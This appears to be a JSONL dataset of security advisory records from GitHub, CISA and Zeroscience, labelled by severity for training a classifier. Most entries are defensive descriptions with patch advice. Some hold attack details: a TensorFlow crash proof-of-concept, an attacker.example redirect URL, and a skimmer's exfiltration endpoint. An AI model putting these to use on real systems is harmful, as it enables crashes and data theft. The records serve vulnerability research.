-{"id": "86fca7e8ae28f83c35b8", "text": "Adobe Acrobat and Reader Heap-based Buffer Overflow Vulnerability\n\nAffected: Adobe Acrobat and Reader\n\nAcrobat Acrobat and Reader contain a heap-based buffer overflow vulnerability that could allow an unauthenticated attacker to achieve code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-122\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Adobe Acrobat and Reader Heap-based Buffer Overflow Vulnerability\n\nAffected: Adobe Acrobat and Reader\n\nAcrobat Acrobat and Reader contain a heap-based buffer overflow vulnerability that could allow an unauthenticated attacker to achieve code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-122\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "15c3abcd71064f0662eb", "text": "Open Redirect in trailing-slash\n\nThe package trailing-slash before 2.0.1 are vulnerable to Open Redirect via the use of trailing double slashes in the URL when accessing the vulnerable endpoint (such as https://example.com//attacker.example/). The vulnerable code is in index.js::createTrailing(), as the web server uses relative URLs instead of absolute URLs.", "text_raw": "Open Redirect in trailing-slash\n\n[Severity: MEDIUM]\n\nThe package trailing-slash before 2.0.1 are vulnerable to Open Redirect via the use of trailing double slashes in the URL when accessing the vulnerable endpoint (such as https://example.com//attacker.example/). The vulnerable code is in index.js::createTrailing(), as the web server uses relative URLs instead of absolute URLs.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "65e0aa71d13d73ac7c2e", "text": "Cross-site Scripting in the femanager TYPO3 extension\n\nThe extension allows by default to upload SVG files when a logged in frontend user uploads a new profile image. This may lead to Cross-Site Scripting, when the uploaded SVG image is used as is on the website.\n\nNote: If SVG uploads are required, it is recommended to use the TYPO3 extension svg_sanitizer (added to TYPO3 core since versions 9.5.28, 10.4.18 and 11.3.0) to prevent upload of malicious SVG files or to set up a strict Content Security Policy for the destination folder of uploaded images.", "text_raw": "Cross-site Scripting in the femanager TYPO3 extension\n\n[Severity: MEDIUM]\n\nThe extension allows by default to upload SVG files when a logged in frontend user uploads a new profile image. This may lead to Cross-Site Scripting, when the uploaded SVG image is used as is on the website.\n\nNote: If SVG uploads are required, it is recommended to use the TYPO3 extension svg_sanitizer (added to TYPO3 core since versions 9.5.28, 10.4.18 and 11.3.0) to prevent upload of malicious SVG files or to set up a strict Content Security Policy for the destination folder of uploaded images.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "0f311d51e4944c5aa9e6", "text": "Undertow Missing Authorization when requesting a protected directory without trailing slash\n\nundertow before version 2.0.23.Final is vulnerable to an information leak issue. Web apps may have their directory structures predicted through requests without trailing slashes via the api.", "text_raw": "Undertow Missing Authorization when requesting a protected directory without trailing slash\n\n[Severity: HIGH]\n\nundertow before version 2.0.23.Final is vulnerable to an information leak issue. Web apps may have their directory structures predicted through requests without trailing slashes via the api.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-01", "split": "train"}
-{"id": "ba2924abb86bc46a41a3", "text": "phpList 2.10.17 Remote SQL Injection and XSS Vulnerability", "text_raw": "phpList 2.10.17 Remote SQL Injection and XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-03-21", "split": "train"}
-{"id": "91dc68da83cc8d5af62c", "text": "Exposure of Sensitive Information to an Unauthorized Actor\n\nShopware is an open source eCommerce platform. In versions prior to 6.4.1.1 private files publicly accessible with Cloud Storage providers when the hashed URL is known. Users are recommend to first change their configuration to set the correct visibility according to the documentation. The visibility must be at the same level as `type`. When the Storage is saved on Amazon AWS we recommending disabling public access to the bucket containing the private files: https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html. Otherwise, update to Shopware 6.4.1.1 or install or update the Security plugin (https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659) and run the command `./bin/console s3:set-visibility` to correct your cloud file visibilities.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor\n\n[Severity: HIGH]\n\nShopware is an open source eCommerce platform. In versions prior to 6.4.1.1 private files publicly accessible with Cloud Storage providers when the hashed URL is known. Users are recommend to first change their configuration to set the correct visibility according to the documentation. The visibility must be at the same level as `type`. When the Storage is saved on Amazon AWS we recommending disabling public access to the bucket containing the private files: https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html. Otherwise, update to Shopware 6.4.1.1 or install or update the Security plugin (https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659) and run the command `./bin/console s3:set-visibility` to correct your cloud file visibilities.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "2f76699eda95c11d057b", "text": "Injection/XSS in Redcarpet\n\nRedcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used.  This is fixed in version 3.5.1 by the referenced commit.", "text_raw": "Injection/XSS in Redcarpet\n\n[Severity: MEDIUM]\n\nRedcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used.  This is fixed in version 3.5.1 by the referenced commit.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-11", "split": "train"}
-{"id": "20e1b438871297313a30", "text": "Path Traversal in bikshed\n\nThis affects the package bikeshed before 3.0.0. This can occur when an untrusted source file containing include, include-code or include-raw block is processed. The contents of arbitrary files could be disclosed in the HTML output.", "text_raw": "Path Traversal in bikshed\n\n[Severity: MEDIUM]\n\nThis affects the package bikeshed before 3.0.0. This can occur when an untrusted source file containing include, include-code or include-raw block is processed. The contents of arbitrary files could be disclosed in the HTML output.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "7c978f3115c0add6f247", "text": "Legrand BTicino Driver Manager F454 1.0.51 CSRF Change Password Exploit", "text_raw": "Legrand BTicino Driver Manager F454 1.0.51 CSRF Change Password Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-05-15", "split": "train"}
-{"id": "d9c3b5479805c5299c2b", "text": "Incorrect Calculation in bigint-money\n\nVersions of `bigint-money` prior to 0.6.2 are vulnerable to an Incorrect Calculation. The package incorrectly rounded certain numbers, which could have drastic consequences due to its usage in financial systems.\n\n## Recommendation\n\nUpgrade to version 0.6.2 or later.", "text_raw": "Incorrect Calculation in bigint-money\n\n[Severity: LOW]\n\nVersions of `bigint-money` prior to 0.6.2 are vulnerable to an Incorrect Calculation. The package incorrectly rounded certain numbers, which could have drastic consequences due to its usage in financial systems.\n\n\n## Recommendation\n\nUpgrade to version 0.6.2 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "0abf74e531f28d2c203c", "text": "personnummer/csharp vulnerable to Improper Input Validation\n\nThis vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.\n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2  \nD 3.0.1  \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3  \nElixir 3.0.0  \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1  \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0  \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0  \nKotlin 1.1.0  \nLua 3.0.1  \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2  \nPerl 3.0.0  \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2  \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1  \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0  \nScala 3.0.1  \nSwift 1.0.1\n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)", "text_raw": "personnummer/csharp vulnerable to Improper Input Validation\n\n[Severity: LOW]\n\nThis vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\nThe vulnerability is determined to be low severity.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.  \n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2  \nD 3.0.1  \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3  \nElixir 3.0.0  \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1  \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0  \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0  \nKotlin 1.1.0  \nLua 3.0.1  \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2  \nPerl 3.0.0  \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2  \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1  \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0  \nScala 3.0.1  \nSwift 1.0.1  \n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-09", "split": "train"}
-{"id": "5e80fcf4b9a5b64e0a19", "text": "OV3 Online Administration 3.0 Multiple Unauthenticated SQL Injection Vulnerabilities", "text_raw": "OV3 Online Administration 3.0 Multiple Unauthenticated SQL Injection Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-05-30", "split": "train"}
-{"id": "77e4e4281abb583514c0", "text": "Regular Expression Denial of Service in sshpk\n\nVersions of `sshpk` before 1.13.2 or 1.14.1 are vulnerable to regular expression denial of service when parsing crafted invalid public keys.\n\n## Recommendation\n\nUpdate to version 1.13.2, 1.14.1 or later.", "text_raw": "Regular Expression Denial of Service in sshpk\n\n[Severity: HIGH]\n\nVersions of `sshpk` before 1.13.2 or 1.14.1 are vulnerable to regular expression denial of service when parsing crafted invalid public keys.\n\n\n## Recommendation\n\nUpdate to version 1.13.2, 1.14.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "eaf0e017e150f4de36c1", "text": "Path Traversal in serve\n\nVersions of `serve` prior to 10.1.2 are vulnerable to Path Traversal. Explicitly ignored folders can be accessed through relative paths, which allows attackers to access hidden folders and files.\n\n## Recommendation\n\nUpgrade to version 10.1.2 or later.", "text_raw": "Path Traversal in serve\n\n[Severity: HIGH]\n\nVersions of `serve` prior to 10.1.2 are vulnerable to Path Traversal. Explicitly ignored folders can be accessed through relative paths, which allows attackers to access hidden folders and files.\n\n\n## Recommendation\n\nUpgrade to version 10.1.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "af76ddde2315d4f189e2", "text": "Malicious Package in wbe3\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in wbe3\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "828b9b7ef67ad462e2ea", "text": "Command injection in mail agent settings\n\n### Impact\nCommand injection in mail agent settings\n\n### Patches\nWe recommend updating to the current version 6.4.3.1. You can get the update to 6.4.3.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659", "text_raw": "Command injection in mail agent settings\n\n[Severity: HIGH]\n\n### Impact\nCommand injection in mail agent settings\n\n### Patches\nWe recommend updating to the current version 6.4.3.1. You can get the update to 6.4.3.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "79fee0d27a6cbf437da9", "text": "Reference binding to nullptr in shape inference\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.SparseFillEmptyRows`:\n\n```python\nimport tensorflow as tf\n\ntf.compat.v1.disable_v2_behavior()\ntf.raw_ops.SparseFillEmptyRows(\n  indices = tf.constant([], shape=[0, 0], dtype=tf.int64),\n  values = tf.constant([], shape=[0], dtype=tf.int64),\n  dense_shape = tf.constant([], shape=[0], dtype=tf.int64),\n  default_value = 0)\n```\n\nThe shape inference [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/ops/sparse_ops.cc#L608-L634) does not validate that the input arguments are not empty tensors.\n\n### Patches \nWe have patched the issue in GitHub commit [578e634b4f1c1c684d4b4294f9e5281b2133b3ed](https://github.com/tensorflow/tensorflow/commit/578e634b4f1c1c684d4b4294f9e5281b2133b3ed).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security", "text_raw": "Reference binding to nullptr in shape inference\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.SparseFillEmptyRows`:\n\n```python\nimport tensorflow as tf\n  \ntf.compat.v1.disable_v2_behavior()\ntf.raw_ops.SparseFillEmptyRows(\n  indices = tf.constant([], shape=[0, 0], dtype=tf.int64),\n  values = tf.constant([], shape=[0], dtype=tf.int64),\n  dense_shape = tf.constant([], shape=[0], dtype=tf.int64),\n  default_value = 0)\n```\n  \nThe shape inference [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/ops/sparse_ops.cc#L608-L634) does not validate that the input arguments are not empty tensors.\n\n### Patches \nWe have patched the issue in GitHub commit [578e634b4f1c1c684d4b4294f9e5281b2133b3ed](https://github.com/tensorflow/tensorflow/commit/578e634b4f1c1c684d4b4294f9e5281b2133b3ed).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ac87357c416ecece5845", "text": "Malicious Package in iie-viz\n\nVersion 1.0.4 of `iie-viz` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.3", "text_raw": "Malicious Package in iie-viz\n\n[Severity: CRITICAL]\n\nVersion 1.0.4 of `iie-viz` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.3", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "c293e7cb68ed440b6a3e", "text": "The MultipartStream class in Apache Commons Fileupload before 1.3.2, as used in Apache Tomcat 7.x before 7.0.70, 8.x before 8.0.36, 8.5.x before 8.5.3, and 9.x before 9.0.0.M7 and other products, allows remote attackers to cause a denial of service (CPU consumption) via a long boundary string.", "text_raw": "High severity vulnerability that affects commons-fileupload:commons-fileupload\n\n[Severity: HIGH]\n\nThe MultipartStream class in Apache Commons Fileupload before 1.3.2, as used in Apache Tomcat 7.x before 7.0.70, 8.x before 8.0.36, 8.5.x before 8.5.3, and 9.x before 9.0.0.M7 and other products, allows remote attackers to cause a denial of service (CPU consumption) via a long boundary string.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "bfd1152ef528baf9ccea", "text": "SonicWall SSLVPN SMA100 SQL Injection Vulnerability\n\nAffected: SonicWall SSLVPN SMA100\n\nSonicWall SSLVPN SMA100 contains a SQL injection vulnerability that allows remote exploitation for credential access by an unauthenticated attacker.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-89\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SonicWall SSLVPN SMA100 SQL Injection Vulnerability\n\nAffected: SonicWall SSLVPN SMA100\n\nSonicWall SSLVPN SMA100 contains a SQL injection vulnerability that allows remote exploitation for credential access by an unauthenticated attacker.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-89\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "93e4a9d518019aab39a9", "text": "Insecure defaults in UmbracoForms\n\nThis affects all versions of package UmbracoForms. When using the default configuration for upload forms, it is possible to upload arbitrary file types. The package offers a way for users to mitigate the issue. The users of this package can create a custom workflow and frontend validation that blocks certain file types, depending on their security needs and policies.", "text_raw": "Insecure defaults in UmbracoForms\n\n[Severity: HIGH]\n\nThis affects all versions of package UmbracoForms. When using the default configuration for upload forms, it is possible to upload arbitrary file types. The package offers a way for users to mitigate the issue. The users of this package can create a custom workflow and frontend validation that blocks certain file types, depending on their security needs and policies.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "de4a8b7c0f89590946bc", "text": "Clarify Content-Type handling\n\n### Impact\nIn the OCI Distribution Specification version 1.0.0 and prior, the Content-Type header alone was used to determine the type of document during push and pull operations. Documents that contain both “manifests” and “layers” fields could be interpreted as either a manifest or an index in the absence of an accompanying Content-Type header. If a Content-Type header changed between two pulls of the same digest, a client may interpret the resulting content differently.\n\n### Patches\nThe OCI Distribution Specification will be updated to require that a `mediaType` value present in a manifest or index match the Content-Type header used during the push and pull operations.\n\n### Workarounds\nClients pulling from a registry may distrust the Content-Type header and reject an ambiguous document that contains both “manifests” and “layers” fields or “manifests” and “config” fields.\n\n### References\nhttps://github.com/opencontainers/image-spec/security/advisories/GHSA-77vh-xpmg-72qh\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/opencontainers/distribution-spec/\n* Email us at security@opencontainers.org", "text_raw": "Clarify Content-Type handling\n\n[Severity: LOW]\n\n### Impact\nIn the OCI Distribution Specification version 1.0.0 and prior, the Content-Type header alone was used to determine the type of document during push and pull operations. Documents that contain both “manifests” and “layers” fields could be interpreted as either a manifest or an index in the absence of an accompanying Content-Type header. If a Content-Type header changed between two pulls of the same digest, a client may interpret the resulting content differently.\n\n### Patches\nThe OCI Distribution Specification will be updated to require that a `mediaType` value present in a manifest or index match the Content-Type header used during the push and pull operations.\n\n### Workarounds\nClients pulling from a registry may distrust the Content-Type header and reject an ambiguous document that contains both “manifests” and “layers” fields or “manifests” and “config” fields.\n\n### References\nhttps://github.com/opencontainers/image-spec/security/advisories/GHSA-77vh-xpmg-72qh\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/opencontainers/distribution-spec/\n* Email us at security@opencontainers.org\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-11-18", "split": "train"}
-{"id": "970de402ceeb285a1832", "text": "ejs vulnerable to DoS due to weak input validation\n\nnodejs ejs version older than 2.5.5 is vulnerable to a denial-of-service due to weak input validation in `ejs.renderFile()`", "text_raw": "ejs vulnerable to DoS due to weak input validation\n\n[Severity: HIGH]\n\nnodejs ejs version older than 2.5.5 is vulnerable to a denial-of-service due to weak input validation in `ejs.renderFile()`", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-03-05", "split": "train"}
-{"id": "90e8c20dd40f2b72eb97", "text": "Webcache Poisoning in symfony/http-kernel\n\nDescription\n-----------\n\nWhen a Symfony application is running behind a proxy or a load-balancer, you can tell Symfony to look for the `X-Forwarded-*` HTTP headers. HTTP headers that are not part of the \"trusted_headers\" allowed list are ignored and protect you from \"Cache poisoning\" attacks.\n\nIn Symfony 5.2, we've added support for the `X-Forwarded-Prefix` header, but this header was accessible in sub-requests, even if it was not part of the \"trusted_headers\" allowed list. An attacker could leverage this opportunity to forge requests containing a `X-Forwarded-Prefix` HTTP header, leading to a web cache poisoning issue.\n\nResolution\n----------\n\nSymfony now ensures that the `X-Forwarded-Prefix` HTTP header is not forwarded to sub-requests when it is not trusted.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/95dcf51682029e89450aee86267e3d553aa7c487) for branch 5.3.\n\nCredits\n-------\n\nWe would like to thank Soner Sayakci for reporting the issue and Jérémy Derussé for fixing the issue.", "text_raw": "Webcache Poisoning in symfony/http-kernel\n\n[Severity: MEDIUM]\n\nDescription\n-----------\n\nWhen a Symfony application is running behind a proxy or a load-balancer, you can tell Symfony to look for the `X-Forwarded-*` HTTP headers. HTTP headers that are not part of the \"trusted_headers\" allowed list are ignored and protect you from \"Cache poisoning\" attacks. \n\nIn Symfony 5.2, we've added support for the `X-Forwarded-Prefix` header, but this header was accessible in sub-requests, even if it was not part of the \"trusted_headers\" allowed list. An attacker could leverage this opportunity to forge requests containing a `X-Forwarded-Prefix` HTTP header, leading to a web cache poisoning issue.\n\nResolution\n----------\n\nSymfony now ensures that the `X-Forwarded-Prefix` HTTP header is not forwarded to sub-requests when it is not trusted.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/95dcf51682029e89450aee86267e3d553aa7c487) for branch 5.3.\n\nCredits\n-------\n\nWe would like to thank Soner Sayakci for reporting the issue and Jérémy Derussé for fixing the issue.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-24", "split": "train"}
-{"id": "59d9ff7da6afdfb241ec", "text": "ircdkit vulnerable to Denial of Service due to unhandled connection end event\n\nVersions of `ircdkit` 1.0.3 and prior are vulnerable to a remote denial of service.\n\n## Recommendation\n\nUpgrade to version 1.0.4.", "text_raw": "ircdkit vulnerable to Denial of Service due to unhandled connection end event\n\n[Severity: LOW]\n\nVersions of `ircdkit` 1.0.3 and prior are vulnerable to a remote denial of service.\n\n\n## Recommendation\n\nUpgrade to version 1.0.4.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-06-03", "split": "train"}
-{"id": "9f5ffe0a660c0bed8881", "text": "Prototype Pollution in @hapi/subtext\n\nVersions of `@hapi/pez` prior to 4.1.2 or 5.0.1 are vulnerable to Prototype Pollution. A multipart payload can be constructed in a way that one of the parts’ content can be set as the entire payload object’s prototype. If this prototype contains data, it may bypass other validation rules which enforce access and privacy. If this prototype evaluates to null, it can cause unhandled exceptions when the request payload is accessed.\n\n## Recommendation\n\nUpgrade to versions 5.0.1 or later. There is a fix available for version 4.1.2,  but it only available for direct download from the repository.", "text_raw": "Prototype Pollution in @hapi/subtext\n\n[Severity: HIGH]\n\nVersions of `@hapi/pez` prior to 4.1.2 or 5.0.1 are vulnerable to Prototype Pollution. A multipart payload can be constructed in a way that one of the parts’ content can be set as the entire payload object’s prototype. If this prototype contains data, it may bypass other validation rules which enforce access and privacy. If this prototype evaluates to null, it can cause unhandled exceptions when the request payload is accessed.\n\n## Recommendation\n\nUpgrade to versions 5.0.1 or later. There is a fix available for version 4.1.2,  but it only available for direct download from the repository.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "233400a14ae24149febe", "text": "Rapid7 Nexpose Installer 6.6.39 Local Privilege Escalation", "text_raw": "Rapid7 Nexpose Installer 6.6.39 Local Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2020-09-06", "split": "train"}
-{"id": "e1ab232be47fb9cd5795", "text": "OctoRPKI crashes when processing GZIP bomb returned via malicious repository\n\nOctoRPKI tries to load the entire contents of a repository in memory, and in the case of a GZIP bomb, unzip it in memory, making it possible to create a repository that makes OctoRPKI run out of memory (and thus crash).\n\n## Patches\n\n## For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com", "text_raw": "OctoRPKI crashes when processing GZIP bomb returned via malicious repository\n\n[Severity: MEDIUM]\n\nOctoRPKI tries to load the entire contents of a repository in memory, and in the case of a GZIP bomb, unzip it in memory, making it possible to create a repository that makes OctoRPKI run out of memory (and thus crash). \n\n## Patches\n\n## For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "e167db63a233d0e70a84", "text": "Cross-Site Scripting in serve-index\n\nVersions 1.6.2 and earlier of `serve-index` are affected by a cross-site scripting vulnerability. Because file and directory names are not escaped in the module's HTML output, a remote attacker that can influence file or directory names can launch a persistent cross-site scripting attack on the application.\n\n## Recommendation\n\nUpdate to version 1.6.3 or later.", "text_raw": "Cross-Site Scripting in serve-index\n\n[Severity: MEDIUM]\n\nVersions 1.6.2 and earlier of `serve-index` are affected by a cross-site scripting vulnerability. Because file and directory names are not escaped in the module's HTML output, a remote attacker that can influence file or directory names can launch a persistent cross-site scripting attack on the application.\n\n\n## Recommendation\n\nUpdate to version 1.6.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "637496060da1d7775882", "text": "Accellion FTA OS Command Injection Vulnerability\n\nAffected: Accellion FTA\n\nAccellion FTA contains an OS command injection vulnerability exploited via a crafted POST request to various admin endpoints.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20, CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Accellion FTA OS Command Injection Vulnerability\n\nAffected: Accellion FTA\n\nAccellion FTA contains an OS command injection vulnerability exploited via a crafted POST request to various admin endpoints.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20, CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
